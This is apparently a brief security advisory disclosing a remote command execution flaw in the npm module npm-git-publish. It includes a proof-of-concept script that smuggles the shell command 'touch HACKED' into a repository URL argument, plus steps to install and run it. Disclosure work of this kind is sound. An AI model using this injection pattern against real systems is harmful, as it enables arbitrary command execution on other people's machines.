The npm-git-publish
module is vulnerable against RCE
due to user-supplied
inputs being formatted and executed without proper validation
// poc.js
var git = require('npm-git-publish');
git.publish('.', 'http://gihub.com ;touch HACKED; #')
HACKED
npm i npm-git-publish # Install affected module
node poc.js # Run the PoC
HACKED
has been created